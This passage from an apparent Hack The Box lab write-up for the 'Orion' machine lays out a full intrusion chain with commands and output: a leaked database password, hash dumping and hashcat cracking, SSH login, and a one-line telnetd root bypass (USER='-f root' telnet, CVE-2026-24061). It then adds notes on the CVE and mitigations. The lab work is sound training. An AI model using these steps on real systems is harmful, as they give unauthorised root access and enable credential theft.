    'CRAFT_DB_PASSWORD' => 'SuperSecureCraft123Pass!',
    'CRAFT_DB_SCHEMA' => '',
    'CRAFT_DB_TABLE_PREFIX' => '',
    'PRIMARY_SITE_URL' => 'http://orion.htb/',
]
www-data@orion:~/html/craft/storage/logs$
```

{% endcode %}

* found db password `root:SuperSecureCraft123Pass!`
* pretty sure I can connect to the database locally (localhost:3306) and then authenticate using the `root` user and obtain the user `adam` password to ssh in

```bash
mysql -u USERNAME -p 
```

### MySQL database access:

{% code overflow="wrap" expandable="true" %}

```bash
www-data@orion:~/html/craft/storage/logs$ mysql -u root -p 'SuperSecureCraft123Pass!'
<e/logs$ mysql -u root -p 'SuperSecureCraft123Pass!'
Enter password: SuperSecureCraft123Pass!

ERROR 1049 (42000): Unknown database 'SuperSecureCraft123Pass!'
www-data@orion:~/html/craft/storage/logs$ mysql -u root -p
mysql -u root -p
Enter password: SuperSecureCraft123Pass!

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 74
Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

{% endcode %}

* mariadb

#### Showing the databases:

```bash
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| orion              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.034 sec)

MariaDB [(none)]>
```

#### Using Orion:

{% code overflow="wrap" expandable="true" %}

```bash
MariaDB [(none)]> use orion;
use orion;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [orion]> show tables;
show tables;
+----------------------------+
| Tables_in_orion            |
+----------------------------+
| addresses                  |
| announcements              |
| assetindexdata             |
| assetindexingsessions      |
| assets                     |
| assets_sites               |
| authenticator              |
| categories                 |
| categorygroups             |
| categorygroups_sites       |
| changedattributes          |
| changedfields              |
| craftidtokens              |
| deprecationerrors          |
| drafts                     |
| elementactivity            |
| elements                   |
| elements_bulkops           |
| elements_owners            |
| elements_sites             |
| entries                    |
| entries_authors            |
| entrytypes                 |
| fieldlayouts               |
| fields                     |
| globalsets                 |
| gqlschemas                 |
| gqltokens                  |
| imagetransformindex        |
| imagetransforms            |
| info                       |
| migrations                 |
| plugins                    |
| projectconfig              |
| queue                      |
| recoverycodes              |
| relations                  |
| resourcepaths              |
| revisions                  |
| searchindex                |
| sections                   |
| sections_entrytypes        |
| sections_sites             |
| sequences                  |
| sessions                   |
| shunnedmessages            |
| sitegroups                 |
| sites                      |
| sso_identities             |
| structureelements          |
| structures                 |
| systemmessages             |
| taggroups                  |
| tags                       |
| tokens                     |
| usergroups                 |
| usergroups_users           |
| userpermissions            |
| userpermissions_usergroups |
| userpermissions_users      |
| userpreferences            |
| users                      |
| volumefolders              |
| volumes                    |
| webauthn                   |
| widgets                    |
+----------------------------+
66 rows in set (0.001 sec)

MariaDB [orion]> select * from users;
select * from users;
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
| id | photoId | affiliatedSiteId | active | pending | locked | suspended | admin | username | fullName | firstName | lastName | email          | password                                                     | lastLoginDate       | lastLoginAttemptIp | invalidLoginWindowStart | invalidLoginCount | lastInvalidLoginDate | lockoutDate | hasDashboard | verificationCode | verificationCodeIssuedDate | unverifiedEmail | passwordResetRequired | lastPasswordChangeDate | dateCreated         | dateUpdated         |
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
|  1 |    NULL |             NULL |      1 |       0 |      0 |         0 |     1 | admin    | NULL     | NULL      | NULL     | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS | 2026-03-12 11:25:04 | NULL               | NULL                    |              NULL | NULL                 | NULL        |            1 | NULL             | NULL                       | NULL            |                     0 | 2026-03-12 11:24:51    | 2026-03-06 11:24:45 | 2026-03-12 11:25:04 |
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
1 row in set (0.001 sec)

MariaDB [orion]>
```

{% endcode %}

* found user adam’s bcrypt password

#### Cracking password:

```bash
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS
```

```bash
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt   
```

{% code expandable="true" %}

```bash
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/...LUg0lS
Time.Started.....: Sun Jun 28 13:58:25 2026 (25 secs)
Time.Estimated...: Sun Jun 28 13:58:50 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:       47 H/s (44.58ms) @ Accel:24 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1152/14344385 (0.01%)
Rejected.........: 0/1152 (0.00%)
Restore.Point....: 576/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:8160-8192
Candidate.Engine.: Device Generator
Candidates.#01...: evelyn -> summer1
Hardware.Mon.#01.: Util: 62%
```

{% endcode %}

* found `adam` user creds: `adam:darkangel`

## Access as `adam`:

{% code expandable="true" %}

```bash
┌──(kali㉿kali 06/28/2026 01:58:52 PM)-[~/htb/machines/orion]
└─$ ssh adam@orion.htb
The authenticity of host 'orion.htb (10.129.23.182)' can't be established.
ED25519 key fingerprint is: SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'orion.htb' (ED25519) to the list of known hosts.
adam@orion.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Jun 28 07:00:01 PM UTC 2026

  System load:  0.0               Processes:             225
  Usage of /:   77.4% of 5.81GB   Users logged in:       0
  Memory usage: 9%                IPv4 address for eth0: 10.129.23.182
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

adam@orion:~$
```

{% endcode %}

## User.txt

```bash
adam@orion:~$ cat user.txt
04b46493c027e6335f0c817db4d69651
adam@orion:~$
```

## Privilege Escalation

### Checking permissions:

```bash
adam@orion:~$ sudo -l
[sudo] password for adam:
Sorry, user adam may not run sudo on orion.
adam@orion:~$
```

#### Running linpeas on the machine:

<figure><img src="/files/QkKGFySCxHrJBylxn7TN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eK5RR0ghsdpseM6M6qYz" alt=""><figcaption></figcaption></figure>

#### Checking `/usr/local/bin/composer`:

```bash
nothing found
```

### Uploading pspy and checking:

{% code overflow="wrap" expandable="true" %}

```bash
adam@orion:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d

     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/06/28 19:26:47 CMD: UID=1000  PID=53982  | ./pspy64
2026/06/28 19:26:47 CMD: UID=0     PID=53973  |
2026/06/28 19:26:47 CMD: UID=0     PID=53971  |
2026/06/28 19:26:47 CMD: UID=1000  PID=40159  | /usr/bin/gpg-agent --supervised
2026/06/28 19:26:47 CMD: UID=1000  PID=36785  | xxd
2026/06/28 19:26:47 CMD: UID=1000  PID=36784  | dd bs=9000 count=1
2026/06/28 19:26:47 CMD: UID=1000  PID=36777  | bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"
2026/06/28 19:26:47 CMD: UID=1000  PID=36776  | grep accessible
2026/06/28 19:26:47 CMD: UID=1000  PID=36775  | bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"
2026/06/28 19:26:47 CMD: UID=1000  PID=36772  | bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"
2026/06/28 19:26:47 CMD: UID=0     PID=35404  |
2026/06/28 19:26:47 CMD: UID=1000  PID=17807  | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2026/06/28 19:26:47 CMD: UID=0     PID=1830   |
2026/06/28 19:26:47 CMD: UID=0     PID=1732   |
2026/06/28 19:26:47 CMD: UID=1000  PID=1714   | -bash
2026/06/28 19:26:47 CMD: UID=1000  PID=1712   | sshd: adam@pts/1
2026/06/28 19:26:47 CMD: UID=1000  PID=1626   | (sd-pam)
2026/06/28 19:26:47 CMD: UID=1000  PID=1625   | /lib/systemd/systemd --user
2026/06/28 19:26:47 CMD: UID=0     PID=1622   | sshd: adam [priv]
2026/06/28 19:26:47 CMD: UID=0     PID=1620   |
2026/06/28 19:26:47 CMD: UID=33    PID=1617   | mysql -u root -p
2026/06/28 19:26:47 CMD: UID=33    PID=1528   | /bin/bash
2026/06/28 19:26:47 CMD: UID=33    PID=1527   | sh -c /bin/bash
2026/06/28 19:26:47 CMD: UID=33    PID=1526   | script /dev/null -qc /bin/bash
2026/06/28 19:26:47 CMD: UID=33    PID=1521   | /bin/sh
2026/06/28 19:26:47 CMD: UID=33    PID=1520   | sh -c /bin/sh
2026/06/28 19:26:47 CMD: UID=33    PID=1342   | php-fpm: pool www             
2026/06/28 19:26:47 CMD: UID=33    PID=1341   | php-fpm: pool www             
2026/06/28 19:26:47 CMD: UID=33    PID=1337   | php-fpm: pool www             
2026/06/28 19:26:47 CMD: UID=33    PID=1336   | php-fpm: pool www             
2026/06/28 19:26:47 CMD: UID=114   PID=1102   | /usr/sbin/mariadbd
2026/06/28 19:26:47 CMD: UID=33    PID=1093   | nginx: worker process         
2026/06/28 19:26:47 CMD: UID=33    PID=1092   | nginx: worker process         
2026/06/28 19:26:47 CMD: UID=0     PID=1089   | nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
2026/06/28 19:26:47 CMD: UID=0     PID=1042   | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2026/06/28 19:26:47 CMD: UID=0     PID=1036   | /usr/sbin/ModemManager
2026/06/28 19:26:47 CMD: UID=0     PID=1024   | /usr/sbin/inetutils-inetd
2026/06/28 19:26:47 CMD: UID=0     PID=998    | /sbin/agetty -o -p -- \u --noclear tty1 linux
2026/06/28 19:26:47 CMD: UID=0     PID=974    | /usr/libexec/udisks2/udisksd
2026/06/28 19:26:47 CMD: UID=0     PID=972    | /lib/systemd/systemd-logind
2026/06/28 19:26:47 CMD: UID=0     PID=970    | /usr/lib/snapd/snapd
2026/06/28 19:26:47 CMD: UID=107   PID=967    | /usr/sbin/rsyslogd -n -iNONE
2026/06/28 19:26:47 CMD: UID=0     PID=966    | /usr/libexec/polkitd --no-debug
2026/06/28 19:26:47 CMD: UID=0     PID=963    | php-fpm: master process (/etc/php/8.4/fpm/php-fpm.conf)
2026/06/28 19:26:47 CMD: UID=0     PID=962    | php-fpm: master process (/etc/php/8.2/fpm/php-fpm.conf)
2026/06/28 19:26:47 CMD: UID=0     PID=960    | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
2026/06/28 19:26:47 CMD: UID=0     PID=957    | /usr/sbin/irqbalance --foreground
2026/06/28 19:26:47 CMD: UID=103   PID=949    | @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2026/06/28 19:26:47 CMD: UID=0     PID=948    | /usr/sbin/cron -f -P
2026/06/28 19:26:47 CMD: UID=102   PID=830    | /lib/systemd/systemd-resolved
2026/06/28 19:26:47 CMD: UID=0     PID=704    | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
2026/06/28 19:26:47 CMD: UID=0     PID=686    | /usr/bin/vmtoolsd
2026/06/28 19:26:47 CMD: UID=0     PID=684    | /usr/bin/VGAuthService
2026/06/28 19:26:47 CMD: UID=0     PID=617    |
2026/06/28 19:26:47 CMD: UID=998   PID=595    | /usr/local/sbin/laurel --config /etc/laurel/config.toml
2026/06/28 19:26:47 CMD: UID=0     PID=593    | /sbin/auditd
2026/06/28 19:26:47 CMD: UID=104   PID=592    | /lib/systemd/systemd-timesyncd
2026/06/28 19:26:47 CMD: UID=0     PID=536    | /lib/systemd/systemd-udevd
2026/06/28 19:26:47 CMD: UID=0     PID=533    | /sbin/multipathd -d -s
2026/06/28 19:26:47 CMD: UID=0     PID=532    |
2026/06/28 19:26:47 CMD: UID=0     PID=530    |
2026/06/28 19:26:47 CMD: UID=0     PID=529    |
2026/06/28 19:26:47 CMD: UID=0     PID=527    |
2026/06/28 19:26:47 CMD: UID=0     PID=497    | /lib/systemd/systemd-journald
2026/06/28 19:26:47 CMD: UID=0     PID=439    |
2026/06/28 19:26:47 CMD: UID=0     PID=438    |
2026/06/28 19:26:47 CMD: UID=0     PID=383    |
```

{% endcode %}

* nothing really found on this either

### Looking at listening ports again:

```bash
netstat -ano
```

<figure><img src="/files/fjDYxh2EtYsL1doi4uQr" alt=""><figcaption></figcaption></figure>

* not something I’m normally seeing on this box, so there’s a reason for it

### CVE-2026-24061 to root

{% code overflow="wrap" expandable="true" %}

```bash
adam@orion:~$ USER='-f root' telnet -a 10.129.23.182
Trying 10.129.23.182...
telnet: Unable to connect to remote host: Connection refused
adam@orion:~$ USER='-f root' telnet -a localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Linux 5.15.0-177-generic (orion) (pts/2)

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Jun 28 07:42:58 PM UTC 2026

  System load:  0.0               Processes:             239
  Usage of /:   88.5% of 5.81GB   Users logged in:       1
  Memory usage: 16%               IPv4 address for eth0: 10.129.23.182
  Swap usage:   0%

  => / is using 88.5% of 5.81GB

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

root@orion:~#
```

{% endcode %}

## Root.txt

```bash
root@orion:~# cat root.txt
6472fcb516e33f94123dbb3b34f3e8ae
root@orion:~#
```

## Info on the cve:

Telnet privilege escalation typically occurs through **authentication bypass**, **environment variable injection**, or **command injection** vulnerabilities in the telnet daemon or associated services.

#### 1. Authentication Bypass via Environment Variables

The most prevalent modern threat is **CVE-2026-24061**, a critical vulnerability in **GNU InetUtils** (versions 1.9.3 through 2.6) affecting the `telnetd` service. This flaw allows an attacker to bypass authentication and gain a **root shell** without a password by injecting a crafted `USER` environment variable.

* **Mechanism**: The daemon passes the client-supplied `USER` variable to `/bin/login`. By sending `USER="-f root"`, the login utility skips authentication because the `f` flag forces it to trust the user identity.
* **Exploitation**: The attack is trivially executed remotely using the command: `USER='-f root' telnet -a [host_ip]`.
* **Impact**: This affects many Linux distributions and embedded/IoT devices that ship with `inetutils-telnetd` enabled.

#### 2. Environment Variable Injection (LD\_PRELOAD)

Historically, telnet daemons like those in **FreeBSD 7.0-RELEASE** failed to sanitize environment variables passed during the Telnet NEW-ENVIRON subnegotiation.

* **Mechanism**: Attackers could inject `LD_PRELOAD` environment variables pointing to a malicious shared library. When the daemon executed `/bin/login` as root, the library would be preloaded and executed.
* **Impact**: This allowed local or remote code execution with root privileges, provided the attacker could upload the malicious library to the target system.

#### 3. Command Injection and Access Control Flaws

Specific hardware or software implementations have suffered from command injection or insufficient access controls when processing telnet commands.

* **Adtran 411 ONT**: **CVE-2025-22939** involves a command injection vulnerability in the telnet service that allows privilege escalation to root.
* **Extreme Networks EXOS**: **CVE-2023-43119** allows unauthenticated attackers to gain root privileges by sending crafted telnet commands to the internal Redis server interface.
* **Microsoft Windows 2000**: Older vulnerabilities (e.g., MS01-031) allowed privilege elevation if an attacker could create a named pipe with a predictable name, causing the Telnet service to run malicious code in the Local System context.

#### Mitigation

* **Disable Telnet**: Replace Telnet with **SSH** for encrypted, secure remote access.
* **Update Software**: Patch **GNU InetUtils** to version 2.7 or later to address CVE-2026-24061.
* **Network Segmentation**: If Telnet must remain active for legacy devices, restrict access to whitelisted IP addresses and isolate the network segment.